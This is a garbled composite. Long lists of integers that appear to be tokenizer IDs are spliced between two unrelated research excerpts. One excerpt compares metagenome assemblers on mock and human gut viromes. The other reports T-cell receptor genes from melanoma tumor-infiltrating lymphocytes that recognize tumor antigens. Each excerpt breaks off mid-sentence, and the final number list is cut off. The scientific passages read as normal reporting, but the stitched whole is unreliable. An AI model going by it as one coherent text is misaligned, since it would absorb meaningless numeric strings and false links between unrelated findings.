7202, 5889, 285, 11962, 10454, 15, 2053, 2908, 247, 1165, 1610, 14, 1033, 33457, 2177, 5450, 13, 13031, 2177, 5450, 7888, 13, 247, 15524, 2177, 5450, 285, 253, 346, 27952, 1966, 11479, 35966, 485, 3, 1254, 1311, 2405, 1656, 5815, 10895, 2530, 4451, 12474, 6941, 323, 5301, 273, 7796, 3045, 327, 247, 1180, 273, 2308, 15, 380, 5019, 273, 13345, 285, 1524, 2177, 37361, 908, 275, 436, 1263, 4483, 323, 253, 5301, 273, 2710, 7794, 273, 7796, 3045, 2439, 247, 2491, 273, 15302, 2581, 685, 7293, 327, 15524, 2177, 37361, 3815, 13, 347, 310, 7744, 4824, 562, 275, 7796, 14023, 1254, 1311, 1012, 1092, 1008, 1311, 1610, 1184, 964, 187, 187, 510, 15524, 10895, 12819, 608, 3547, 9907, 21885, 387, 2710, 4103, 30374, 347, 3863, 407, 657, 36526, 27680, 14, 19447, 437, 29496, 285, 11651, 1254, 1311, 3357, 1656, 43901, 264, 25502, 273, 2060, 21885, 1561, 20180, 7888, 10546, 468, 15450, 1783, 285, 2701, 253, 11815, 534, 476, 320, 8392, 432, 1313, 6533, 4986, 941, 824, 347, 43653, 285, 5164, 10104, 1254, 1311, 883, 1656, 13162, 13, 253, 7155, 9128, 7355, 285, 4248, 273, 27159, 497, 7515, 2439, 1016, 19308, 254, 13, 342, 322, 4899, 3229, 313, 6986, 13, 11419, 285, 2014, 894, 10, 1016, 9591, 973, 15, 657, 43007, 1322, 2684, 1077, 15225, 13, 27930, 760, 1740, 523, 17638, 342, 1029, 3904, 273, 19412, 32358, 285, 3731, 284, 14575, 447, 13, 5747, 1907, 2684, 973, 342, 643, 15302, 285, 1146, 4158, 281, 2953, 7881, 273, 22766, 9907, 7625, 1254 ]

VICUNA which recovered on average 49.5%, 66.6%, 73.8%, 73.8%, 29.7% and 76.6%, respectively. All other assemblers recovered over 99% of each genome in the community (Additional file [6](#MOESM6){ref-type="media"}: Figure S1). Closer inspection of the two ssDNA genomes present at lower relative abundance highlighted significant differences in the average number of indels across all assemblies of the NC_001330 and NC_001422 genomes versus other members of the community (*p* value = 0.037). These genomes exhibited an average of 41.7 ± 18.5 and 9.4 ± 20.4 indels per 100 kb, while all other genomes featured an average of 7.8 ± 18.9 indels per 100 kb. The low abundant ssDNA genomes NC_001330 and NC_001422 also featured the highest average mismatches per 100 kb at 148.7 ± 3 and 302.5 ± 10.7, respectively (Additional file [6](#MOESM6){ref-type="media"}: Figure S1). The degree of fragmentation observed by VICUNA and MIRA in mock B was lower than in mock A with a mean of 1.3 ± 0.89 and 5.3 ± 7.7 contigs per genome, respectively. CLC fragmented genome KF302035 in mock B (44 contigs), but to a lesser degree than mock A (144 contigs). MEGAHIT, which recovered at least 98% of all genomes in mock A, also recovered over 98% of all genomes in mock B except for the ssDNA genome NC_001422, of which 56.5% was recovered in two contigs. The majority of assemblies exhibited 147.9 ± 0 and 297 ± 1 mismatches per 100 kb for NC_001330 and NC_001422 (high abundance ssDNA), respectively, identical values to those measured in mock A. Velvet and MetaVelvet were exceptions with 184.2 and 860.2 for genome NC_001422 and NC_001330. A similar pattern of high values across a narrow range was also observed with the number of indels, with 49.3 to 32.9 present in all assemblies NC_001330. Genome NC_001422 featured 18.57 indels across all SPAdes assemblies (all parameters) and 860.2 across both Velvet and Metavelvet assemblies. All other assemblers which successfully recovered this genome did not feature any indels (Additional file [6](#MOESM6){ref-type="media"}: Figure S1). Q33 {#Sec5} --- Five assemblers failed to generate contigs which met alignment thresholds and were subsequently excluded from further analysis, namely ABySS (*k*-mer 63), ABySS (*k*-mer 127), SOAPdenovo2, Velvet and MetaVelvet. All remaining assemblers recovered over 90% of the spiked Q33 genome with the exception of MIRA (8.5%). Six assemblers recovered over 99% of the Q33 genome in a single contig---SPAdes (meta) 99.74%, MEGAHIT (99.6%), VICUNA (99.6%), Ray Meta (99.6%), CLC (99.5%) and Geneious (99.1) (Fig. [3](#Fig3){ref-type="fig"}). However, only MEGAHIT assembled the Q33 genome with a contig equal in length to the genome itself. SPAdes (meta) and CLC generated assemblies shorter than the reference genome by 86 and 141 bases. VICUNA (723), Geneious (1765) and Ray Meta (9884) each generated assemblies longer than the reference genome. SPAdes (default), SPAdes (single cell), IDBA UD and SPAdes (single cell + careful) each assembled Q33 in 2, 3, 4, 5 and 5 contigs, respectively. Ray Meta and VICUNA assemblies had the lowest number of mismatches and indels per 100 kb; however, Ray Meta exhibited the highest rate of misassemblies (two relocations, one inversion). All assemblers featured a minimum of one local misassembly with the exception of SPAdes (meta) which did not feature any. The six best assemblies of the Q33 genome and the genome itself are syntenic (although occasionally on the reverse strand), and the start and end point were not conserved (Fig. [3](#Fig3){ref-type="fig"}).Fig. 3Mauve output of the Q33 reference genome (top) along with of the six assemblers which recovered \> 99% of the genome with a single contig. Assembly regions outside of locally collinear blocks which do not share homology to the reference genome are highlighted by a black outline. Reverse complement of assemblies in the opposite orientation to the reference were plotted for visualisation purposes (VICUNA, CLC, Geneious) Read depth analysis (time and RAM) {#Sec6} ---------------------------------- Assemblers were compared for practicality by measuring the time to reach completion and maximum RAM usage via four published healthy human gut viromes \[[@CR31]\] and various sequencing depths. It must be noted that all assembly tasks were allocated five threads; however, specifying the number of threads did not change the number of threads used by certain programs. MetaVelvet was not included in this analysis as it failed to reach completion after running for 7 days. CLC and Geneious were performed on a desktop computer and therefore excluded from time and RAM analysis. Runtime is dependent upon the number of reads, and this is largely linear in scale with more reads leading to an increased assembly time (Fig. [4](#Fig4){ref-type="fig"}a). MIRA and VICUNA (Fig. [4](#Fig4){ref-type="fig"}a insert) were the slowest with MIRA taking over 15 times longer than the other software to assemble 3.5 million reads. SOAPdenovo2 had the shortest completion time followed by IDBA UD and Velvet. Most assemblers were consistent across samples (observed via error bars) with the exception of MIRA and Ray Meta. MIRA, VICUNA and Velvet (Fig. [4](#Fig4){ref-type="fig"}b insert) had the highest max RAM usage, while the lowest was Ray Meta, IDBA UD and SPAdes (meta) (Fig. [4](#Fig4){ref-type="fig"}b). The majority of assemblers observed a linear scale pattern similar to that of runtime.Fig. 4**a** Time, measured in seconds, for each assembly to reach completion successfully for each read subset. **b** The maximum RAM, measured in MB, used for each assembly for each read subset. **c** Mean N50 length and **d** mean contig length for four samples for each assembly across the read subsets after filtering contigs less than 1000 bases. Points represent the mean time for the four samples while error bars are the standard error Read depth analysis N50 and longest contig length {#Sec7} ------------------------------------------------- For both the N50 (Fig. [4](#Fig4){ref-type="fig"}c) and the longest contig length (Fig. [4](#Fig4){ref-type="fig"}d), there was a large amount of variation between samples for the majority of assemblers. The longest contig length showed a large increase at the final sequencing depth. Particular assemblers, namely SPAdes (default), SPAdes (meta), MEGAHIT and ABySS (*k*-mer 127), produced longer contigs as the sequence depth was increased. Discussion {#Sec8} ========== Many bacterial metagenomic assembly comparisons have highlighted that the choice of assembler has a significant impact on downstream analysis and the accuracy of the reconstructed metagenome \[[@CR15], [@CR28], [@CR33], [@CR54]\]. We have found this also to be true for viral metagenomes, where accurate and complete assembly are of particular importance given the lack of viral representation in reference databases. Virome studies depend heavily on the assembly step and possess many features which are challenging to successful assembly. In this study, we compared the performance of those assemblers used to date in human viral metagenomics studies using datasets of known and unknown composition and varying complexity. These included a Q33-spiked virome, mock virome communities, a simulated virome and the "healthy human gut phageome" \[[@CR31]\]. Each dataset provided unique attributes allowing for comparison of assembly performance on a number of levels. The combination of artificial and real viromes used in this study allows for the comparison of various aspects of assembly performance across a range of datasets rather than depending on simulated viromes alone, as is commonly carried out in assembly comparisons \[[@CR13], [@CR33]\]. The simulated dataset featured 572 viral genomes at various relative abundances as published by Vázquez-Castellanos and colleagues \[[@CR53]\]. Fragmented assemblies of individual genomes within microbial communities hamper downstream analysis and limit the conclusions which can be drawn from metagenomic data such as taxonomic and functional profiles \[[@CR11]\]. Consequently, the percentage genome recovery and degree of fragmentation were assessed across each assembler, with SPAdes (default, meta and single cell) each performing well. VICUNA performed very poorly, recovering only four contigs with high numbers of mismatches and misassemblies, despite having performed well with other datasets and being designed to address challenges of heterogeneous viral populations \[[@

[ 308, 1341, 7011, 432, 353, 2405, 308, 3077, 84, 497, 18606, 342, 378, 3458, 1449, 27, 520, 14, 435, 11232, 4097, 6072, 41381, 342, 884, 14986, 16, 1686, 10310, 14, 1410, 48, 14, 18, 14, 13472, 21481, 15015, 285, 13637, 342, 884, 34618, 16, 1686, 5274, 14, 19, 13, 884, 9782, 16, 1686, 5274, 14, 1010, 13, 285, 1884, 9782, 16, 1686, 5274, 14, 1797, 323, 1638, 1897, 15, 5094, 37, 5737, 11977, 11541, 14, 6160, 10277, 13, 253, 353, 2405, 308, 3077, 84, 2692, 2762, 6128, 281, 767, 9701, 15015, 342, 253, 6096, 3425, 5062, 15144, 95, 55, 2293, 6541, 5518, 28259, 26756, 3077, 15293, 95, 13743, 20547, 2594, 671, 544, 9227, 1873, 374, 67, 1084, 4032, 19, 910, 709, 14, 881, 568, 6962, 14, 4990, 7129, 5094, 38, 5737, 5128, 432, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 390, 1453, 378, 3458, 1449, 27, 520, 16, 34331, 425, 71, 95, 4529, 14, 2313, 95, 1554, 7438, 10456, 1078, 10277, 313, 1201, 470, 10, 285, 1638, 1897, 846, 10277, 313, 1201, 1638, 10, 403, 2011, 15, 5094, 39, 5737, 15006, 14, 7072, 3275, 407, 353, 2405, 308, 3077, 84, 275, 247, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 17977, 6160, 5133, 1563, 11541, 14, 6160, 10277, 15, 3437, 25, 7433, 308, 1341, 18606, 342, 378, 3458, 1449, 27, 520, 14, 435, 11232, 4097, 6072, 41381, 342, 253, 10310, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 11541, 497, 7091, 347, 1183, 9631, 1341, 15, 378, 3458, 1449, 27, 520, 14, 435, 11232, 4097, 6072, 41381, 342, 253, 4860, 11541, 497, 908, 347, 7328, 1080, 1341, 15, 380, 7452, 425, 71, 95, 4529, 14, 2313, 95, 285, 10310, 14, 1410, 48, 14, 18, 95, 9312, 14, 14783, 95, 15015, 497, 7091, 347, 5760, 15, 380, 7155, 273, 1554, 7438, 7433, 1341, 275, 3437, 25, 7433, 308, 1341, 310, 2011, 275, 5094, 35, 5737, 285, 5094, 38, 20883, 496, 5094, 34, 26715, 5094, 36, 26715, 285, 5094, 39, 26715, 253, 941, 2011, 1957, 253, 1599, 575, 3069, 575, 3871, 273, 4679, 2684, 275, 34862, 15, 1876, 253, 1543, 403, 8612, 273, 387, 1878, 767, 3907, 4679, 15, 9350, 81, 4713, 17, 15, 1762, 13, 31904, 81, 4713, 17, 15, 2874, 313, 9389, 14, 29551, 47445, 434, 475, 85, 11, 5216, 17981, 293, 1074, 14, 43618, 2031, 14, 926, 21, 4253, 926, 21, 94, 187, 187, 27967, 308, 1341, 811, 23747, 342, 308, 3077, 14, 13472, 34193, 3608, 9446, 4502, 1341, 1712, 84, 19, 14, 22, 94, 187, 2518, 9998, 187, 187, 510, 1543, 273, 34193, 3320, 4918, 3382, 7587, 7568, 326, 253, 5283, 422, 3700, 273, 308, 1341, 811, 23747, 342, 1029, 14, 47854, 34193, 3608, 476, 10808, 12321, 3382, 6128, 275, 2923, 1363, 2479, 2383, 883, 2194, 1008, 2383, 805, 2194, 1008, 2383, 938, 2194, 1008, 2383, 1348, 2194, 1008, 2383, 1229, 2194, 1008, 2383, 1610, 2498, 12090, 4502, 14, 31708, 34193, 3608, 452, 644, 26877, 432, 22835, 308, 3077, 84, 2479, 2383, 883, 2194, 1008, 2383, 1671, 2498, 8079, 13, 690, 273, 841, 34193, 84, 452, 644, 5762, 275, 34193, 3320, 4918, 3382, 7587, 285, 2011, 281, 10808, 16747, 4623, 6128, 2479, 2383, 883, 2194, 1008, 2383, 938, 2498, 1198, 253, 5020, 273, 4502, 8071, 16762, 326, 359, 3636, 13, 1554, 7438, 14, 10247, 41068, 308, 1341, 497, 5728, 285, 616, 34193, 3608, 497, 5787, 314, 26877, 15, 1876, 253, 24743, 14, 35, 14, 285, 24743, 14, 36, 14, 44255, 308, 894, 7625, 6221, 581, 4667, 273, 34193, 3608, 1016, 15, 2053, 1543, 5125, 326, 512, 253, 24743, 14, 35, 14, 285, 24743, 14, 36, 14, 44255, 11611, 14, 6160, 308, 1341, 1119, 275, 436, 1263, 497, 22592, 2470, 3235, 337, 1084, 2420, 18, 910, 709, 14, 881, 568, 2420, 4982, 544, 2841, 608, 1532, 13206, 26434, 337, 1084, 926, 22, 84, 18, 910, 709, 14, 881, 568, 926, 986, 285, 544, 19, 1084, 926, 22, 84, 19, 910, 709, 14, 881, 568, 926, 4982, 544, 9227, 1873, 495, 1084, 4032, 20, 910, 709, 14, 881, 568, 6962, 14, 4990, 2536, 380, 11611, 13005, 285, 5164, 29605, 273, 253, 26877, 34193, 84, 497, 16058, 407, 1554, 7438, 10456, 285, 11642, 46956, 2415, 12277, 273, 34193, 14, 250, 585, 23572, 308, 1341, 15, 1198, 1650, 13, 672, 8756, 23572, 327, 3625, 308, 1341, 13, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 14, 3675, 23747, 308, 1341, 497, 8379, 13968, 342, 253, 7709, 366, 1554, 7438, 2470, 2841, 608, 34, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 7547, 285, 7052, 29771, 342, 253, 353, 5757, 18, 95, 1099, 14, 1610, 95, 11541, 3559, 407, 2553, 378, 3458, 1093, 27, 520, 8094, 2470, 2841, 608, 35, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 2536, 27628, 13, 841, 1341, 497, 2104, 281, 9446, 378, 3458, 1093, 27, 520, 14, 25049, 285, 11541, 14, 328, 81, 7228, 264, 4502, 1341, 10748, 13002, 253, 353, 5757, 18, 3320, 2470, 2841, 608, 36, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 2536, 4129, 1097, 253, 5979, 1405, 14, 20, 46, 285, 18460, 14, 46, 3887, 14, 1619, 22835, 894, 3104, 403, 4016, 323, 378, 3458, 1093, 27, 520, 13, 597, 3890, 253, 353, 5757, 18, 3320, 990, 2646, 4087, 15, 2091, 378, 3458, 1093, 27, 520, 8094, 497, 26570, 37800, 4469, 13, 1097, 22835, 894, 3104, 497, 8379, 7478, 407, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 14, 3675, 23747, 308, 1341, 15, 5076, 13, 329, 17820, 22835, 1341, 13, 534, 3480, 17774, 2048, 273, 1097, 378, 3458, 1093, 27, 520, 285, 353, 5757, 18, 13, 3395, 17411, 281, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 14, 3675, 23747, 308, 1341, 760, 672, 1097, 253, 378, 3458, 1093, 27, 520, 285, 2120, 14, 3985, 353, 5757, 18, 3608, 313, 2858, 417, 2057, 273, 253, 2014, 3608, 10, 497, 811, 23747, 2470, 2841, 608, 36, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 4982, 544, 2841, 608, 1532, 13206, 26434, 721, 34, 1084, 926, 22, 84, 23, 910, 709, 14, 881, 568, 926, 986, 285, 544, 24, 35, 1084, 926, 22, 84, 24, 910, 709, 14, 881, 568, 926, 2536, 187, 187, 3138, 53, 15502, 8981, 407, 308, 3077, 14, 13472, 34193, 3608, 4880, 187, 29759, 34, 283, 36, 5737, 20988, 308, 1341, 811, 23747, 342, 253, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 7478, 4502, 1341, 15, 5094, 34, 5737, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 14, 3675, 23747, 390, 440, 3675, 23747, 308, 1341, 497, 13968, 342, 253, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 390, 378, 3458, 1093, 27, 520, 16, 34331, 46579, 95, 20664, 14, 15046, 95, 1453, 1554, 7438, 15, 5094, 35, 13, 330, 5737, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 14, 3675, 23747, 390, 440, 3675, 23747, 308, 1341, 497, 908, 347, 1183, 9631, 1341, 15, 5094, 35, 5737, 308, 19, 390, 308, 19, 1341, 811, 23747, 342, 24743, 14, 35, 3458, 1093, 27, 520, 313, 53, 19, 14, 35, 3458, 1093, 27, 520, 10, 41381, 342, 353, 5757, 18, 95, 1099, 14, 1610, 95, 390, 7452, 46579, 95, 20664, 14, 15046, 95, 1453, 11541, 497, 7091, 347, 7328, 1080, 1341, 15, 5094, 36, 5737, 5979, 1405, 14, 20, 46, 13, 18460, 14, 46, 3887, 14, 1619, 13, 285, 329, 17820, 1341, 326, 497, 2057, 440, 3675, 23747, 390, 811, 23747, 342, 24743, 14, 35, 3458, 1093, 27, 520, 285, 16, 263, 353, 5757, 18, 497, 908, 347, 7328, 1080, 1341, 15, 5094, 37, 283, 39, 5737, 20988, 308, 1341, 811, 23747, 342, 253, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 7478, 4502, 1341, 15, 5094, 37, 5737, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 14, 3675, 23747, 390, 440, 3675, 23747, 308, 1341, 497, 13968, 342, 253, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 390, 378, 3458, 1449, 27, 520, 16, 34331, 425, 71, 95, 4529, 14, 2313, 95, 1453, 1554, 7438, 15, 5094, 38, 13, 401, 5737, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 14, 3675, 23747, 390, 440, 3675, 23747, 308, 1341, 497, 908, 347, 1183, 9631, 1341, 15, 5094, 38, 5737, 308, 19, 390, 308, 19, 1341, 811, 23747, 342, 24743, 14, 35, 3458, 1449, 27, 520, 313, 53, 19, 14, 35, 3458, 1449, 27, 520, 10, 41381, 342, 10310, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 390, 7452, 425, 71, 95, 4529, 14, 2313, 95, 1453, 11541, 497, 7091, 347, 7328, 1080, 1341, 15, 5094, 39, 5737, 18460, 14, 46, 3887, 14, 1797, 13, 329, 17820, 13, 285, 18460, 14, 46, 3887, 14, 1619, 1341, 326, 497, 2057, 440, 3675, 23747, 390, 811, 23747, 342, 24743, 14, 35, 3458, 1449, 27, 520, 390, 10310, 14, 1410, 48, 14, 18, 497, 908, 347, 7328, 1080, 1341, 15, 380, 7155, 273, 1554, 7438, 7433, 3437, 25, 7433, 308, 1341, 310, 2011, 275, 5094, 34, 5737, 285, 5094, 37, 20883, 496, 5094, 35, 26715, 5094, 36, 26715, 5094, 38, 26715, 285, 5094, 39, 26715, 253, 941, 2011, 1957, 253, 1599, 575, 3069, 575, 3871, 273, 4679, 2684, 275, 34862, 15, 1876, 253, 1543, 403, 8612, 273, 387, 1878, 767, 3907, 4679, 15, 9350, 81, 4713, 17, 15, 1762, 13, 22004, 81, 4713, 17, 15, 520, 313, 9389, 14, 29551, 47445, 434, 246, 5216, 17981, 293, 1074, 14, 43618, 2031, 14, 926, 22, 4253, 926, 22, 94, 187, 187, 28144, 13, 846, 28942, 273, 253, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 3608, 13, 3625, 308, 1341, 497, 8379, 13968, 342, 247, 7709, 366, 1554, 7438, 2470, 2841, 608, 37, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 7547, 285, 7052, 29771, 342, 253, 10310, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 11541, 3559, 407, 378, 3458, 1449, 27, 520, 8094, 327, 253, 894, 2553, 2470, 2841, 608, 38, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 2536, 5488, 13, 841, 1341, 497, 2104, 281, 9446, 378, 3458, 1449, 27, 520, 14, 25049, 285, 11541, 14, 328, 81, 7228, 264, 4502, 1341, 990, 2646, 4087, 13002, 10310, 14, 1410, 48, 14, 18, 2470, 2841, 608, 39, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 4982, 544, 2841, 608, 1532, 13206, 26434, 721, 34, 1084, 926, 22, 84, 23, 910, 709, 14, 881, 568, 926, 986, 285, 544, 24, 35, 1084, 926, 22, 84, 24, 910, 709, 14, 881, 568, 926, 2536, 2053, 1543, 4518, 7568, 326, 253, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 285, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 14, 3675, 23747, 308, 1341, 497, 10481, 46952, 281, 9446, 4502, 1341, 285, 326, 253, 26877, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 285, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 84, 497, 1097, 4502, 14, 31708, 15, 6915, 247, 2074, 5700, 13, 359, 5787, 314, 26877, 253, 34193, 3608, 273, 329, 3458, 2640, 27, 520, 16, 3528, 57, 19, 95, 3156, 14, 2537, 9854, 329, 3458, 1348, 27, 2640, 16, 17788, 2313, 14, 565, 1406, 21, 13, 378, 3458, 2922, 27, 2640, 16, 20604, 14, 1410, 48, 14, 18, 95, 1549, 14, 3547, 9854, 378, 3458, 2922, 27, 2640, 16, 46, 7669, 14, 34, 18, 95, 24208, 14, 23185, 9854, 378, 3458, 1093, 27, 520, 16, 46, 7669, 14, 34, 20, 95, 18146, 14, 17184, 9854, 378, 3458, 1449, 27, 520, 16, 17788, 2313, 95, 25770, 14, 29435, 9854, 330, 3458, 2941, 27 ]

T cells isolated from M31 TILs were stimulated with B\*40:01-artificial APCs pulsed with 10 μg/ml NY-ESO-1-derived overlapping peptides and cultured with 10 IU/ml IL-2, 10 ng/ml IL-15, and 30 ng/ml IL-21 for 14 days. (**D**) Following peptide-specific stimulation, the M31 TILs showed positive responses to two adjacent peptides with the shared sequence ~121~VLLKEFTVSGNILTI~135~. See also [Supplementary file 2b](#supp2){ref-type="supplementary-material"}. (**E**) Data from B\*40:01/NY-ESO-1~125-133~ or control B\*40:01/HIV nef~92-100~ multimer staining before stimulation (day 0) and 14 days after stimulation (day 14) are shown. (**F**) IFN-γ production by M31 TILs in a B\*40:01/NY-ESO-1~125-133~-specific manner following peptide-specific stimulation. CD8^+^ T cells stimulated with B\*40:01-artificial APCs pulsed with the NY-ESO-1~125-133~ peptide were employed as responder cells. B\*40:01-artificial APCs pulsed with the indicated peptide were used as stimulator cells. The HIV nef~92-100~ and NY-ESO-1~125-132~ peptides were employed as controls. The percentage of multimer^+^ cells in CD8^+^ T cells is shown in (**B**) and (**E**). In (**A**), (**C**), and (**F**), the data shown represent the mean ± SD of experiments performed in triplicate. All the results are representative of at least two independent experiments. \*p\<0.05, \*\*\*p\<0.001 (two-tailed Welch's *t* tests).](elife-53244-fig4){#fig4} Primary T cells transduced with TIL-derived TCR genes recognize tumor cells {#s2-5} --------------------------------------------------------------------------- The results of TCR gene therapy clinical trials demonstrate that the adoptive transfer of T cells transduced with high-affinity TCR genes can induce sustained clinical responses in cancer patients ([@bib11]; [@bib12]; [@bib20]; [@bib24]; [@bib30]; [@bib33]). Several tumor-reactive TCR genes have been cloned from melanoma TILs ([@bib11]; [@bib35]). Indeed, some of these TCRs have been tested in TCR gene therapy clinical trials and shown to induce clinically relevant responses ([@bib11]; [@bib20]). For the majority of tumor reactivities that we identified, multimer-positive antitumor T cells were collected and their TCR genes were molecularly cloned. All the HLA-B- and HLA-C-restricted T cell populations contained one pair of TCR genes each. These results suggested that all the HLA-B- and HLA-C-restricted antigen-specific T cells found in this study were monoclonal ([Table 1](#table1){ref-type="table"}, [Figure 5---figure supplements 1](#fig5s1){ref-type="fig"} and [2](#fig5s2){ref-type="fig"}, [Supplementary file 3](#supp3){ref-type="supplementary-material"}). The antigen specificity and functional reactivity of the cloned TCRs were verified by multimer staining and ELISPOT assays of TCR-reconstituted T cells. For example, when reconstituted on primary T cells, B\*18:01/MART1~25-33~ TCR-transduced T cells were successfully stained with the cognate multimer ([Figure 5A](#fig5){ref-type="fig"}) and strongly reacted with the MART1~25-33~ peptide presented by surface B\*18:01 molecules ([Figure 5B](#fig5){ref-type="fig"}). Importantly, these cells were able to recognize B\*18:01-matched and peptide-unpulsed tumor cells naturally expressing the MART1 gene ([Figure 5C](#fig5){ref-type="fig"}). Although both the Malme-3M and SK-MEL-28 melanoma cell lines are negative for B\*18:01, they express the MART1 gene endogenously. When B\*18:01 molecules were ectopically expressed, both melanoma cell lines were successfully recognized by B\*18:01/MART1~25-33~ TCR-transduced T cells. Moreover, A375 melanoma cells, which lack endogenous expression of both B\*18:01 and MART1, became reactive to B\*18:01/MART1~25-33~ TCR-transduced T cells only when both the B\*18:01 and full-length MART1 genes (but not either of the single genes) were transduced ([Figure 5C](#fig5){ref-type="fig"}, [Figure 5---figure supplements 6A](#fig5s6){ref-type="fig"} and [7B](#fig5s7){ref-type="fig"}). ![Tumor recognition by TIL-derived TCR genes.\ (**A--C**) Primary T cells transduced with the B\*18:01/MART1~25-33~ TCR recognized tumor cells. (**A**) B\*18:01/MART1~25-33~ TCR-transduced or untransduced T cells were stained with the B\*18:01/MART1~25-33~ or B\*18:01/HIV gag~161-170~ control multimer. (**B, C**) B\*18:01/MART1~25-33~ TCR-transduced or untransduced T cells were used as responder cells. (**B**) T2 or T2 cells transduced with HLA-B\*18:01 (T2-B\*18:01) pulsed with MART1~25-33~ or HIV gag~161-170~ control peptide were employed as stimulator cells. (**C**) Malme-3M, SK-MEL-28, and A375 cells that were either untransduced or transduced with HLA-B\*18:01 and/or MART1 were used as stimulator cells. (**D--F**) Primary T cells transduced with the B\*40:01/NY-ESO-1~125-133~ TCR recognized tumor cells. (**D**) B\*40:01/NY-ESO-1~125-133~ TCR-transduced or untransduced T cells were stained with the B\*40:01/NY-ESO-1~125-133~ or B\*40:01/HIV nef~92-100~ control multimer. (**E, F**) B\*40:01/NY-ESO-1~125-133~ TCR-transduced or untransduced T cells were used as responder cells. (**E**) T2 or T2 cells transduced with HLA-B\*40:01 (T2-B\*40:01) pulsed with NY-ESO-1~125-133~ or HIV nef~92-100~ control peptide were employed as stimulator cells. (**F**) SK-MEL-21, A375, and SK-MEL-28 cells that were either untransduced or transduced with HLA-B\*40:01 or NY-ESO-1 were used as stimulator cells. The percentage of multimer^+^ CD8^+^ T cells is shown in (**A**) and (**D**). In (**B**), (**C**), (**E**), and (**F**), the data shown represent the mean ± SD of experiments performed in triplicate. All the results are representative of at least two independent experiments. \*p\<0.05, \*\*p\<0.01 (two-tailed Welch's t tests).](elife-53244-fig5){#fig5} Additionally, after transduction of the B\*40:01/NY-ESO-1~125-133~ TCR genes, primary T cells were successfully stained with a cognate multimer ([Figure 5D](#fig5){ref-type="fig"}) and strongly reacted with the NY-ESO-1~125-133~ peptide presented by B\*40:01 molecules on the cell surface ([Figure 5E](#fig5){ref-type="fig"}). Furthermore, these cells were able to recognize B\*40:01-matched and peptide-unpulsed tumor cells endogenously expressing NY-ESO-1 ([Figure 5F](#fig5){ref-type="fig"}, [Figure 5---figure supplements 6A](#fig5s6){ref-type="fig"} and [7B](#fig5s7){ref-type="fig"}). These results clearly demonstrate that the B\*18:01/MART1~25-33~ and B\*40:01/NY-ESO-1~125-133~ TCR-transduced T cells were sufficiently avid to recognize tumor cells and that the cloned B\*18:01/MART1~25-33~ and B\*40:01/NY-ESO-1~125-133~ TCRs were both tumor-reactive. Using a similar strategy, we molecularly cloned the TCR genes of A\*02:01/SSX2~41-49~, A\*24:02/gp100-intron4, B\*07:02/NY-ESO-1~60-72~, B\*07:02/MAGE-A1~289-297~, B\*18:01/MAGE-A3~167-176~, B\*40:01/gp100~448-458~, C\*03:

[ 22029, 313, 1010, 10, 50274, 17, 15, 2125, 1093, 313, 21, 10, 50267, 187, 50276, 41, 1010, 50275, 17, 15, 24, 33953, 50268, 17, 15, 24, 23922, 50268, 17, 15, 21, 22232, 50268, 17, 15, 20812, 3458, 50264, 187, 50276, 36, 1036, 50275, 17, 15, 22, 31408, 313, 19, 10, 50272, 17, 15, 29941, 3677, 313, 746, 10, 50274, 17, 15, 1671, 22488, 313, 1036, 10, 50274, 17, 15, 2125, 3141, 313, 22, 10, 50267, 187, 50276, 41, 1036, 50275, 17, 15, 22, 28871, 50268, 17, 15, 23, 23922, 50268, 17, 15, 1717, 1867, 50268, 17, 15, 30768, 3458, 50264, 187, 50276, 36, 1166, 50275, 17, 15, 21, 18950, 313, 19, 10, 50272, 17, 15, 40210, 1619, 313, 746, 10, 50274, 17, 15, 22359, 2945, 313, 1036, 10, 50274, 17, 15, 2125, 1976, 313, 22, 10, 50267, 187, 50276, 41, 1166, 50275, 17, 15, 1706, 3566, 50268, 17, 15, 2251, 1610, 50268, 17, 15, 20, 17015, 50268, 17, 15, 30768, 3458, 50264, 187, 50276, 36, 1093, 50275, 17, 15, 40896, 4185, 313, 1093, 10, 50274, 17, 15, 2787, 26522, 313, 1093, 10, 50274, 17, 15, 24614, 2950, 313, 1010, 10, 50274, 17, 15, 2125, 740, 313, 21, 10, 50267, 187, 50276, 41, 1093, 50275, 17, 15, 1671, 4185, 50268, 17, 15, 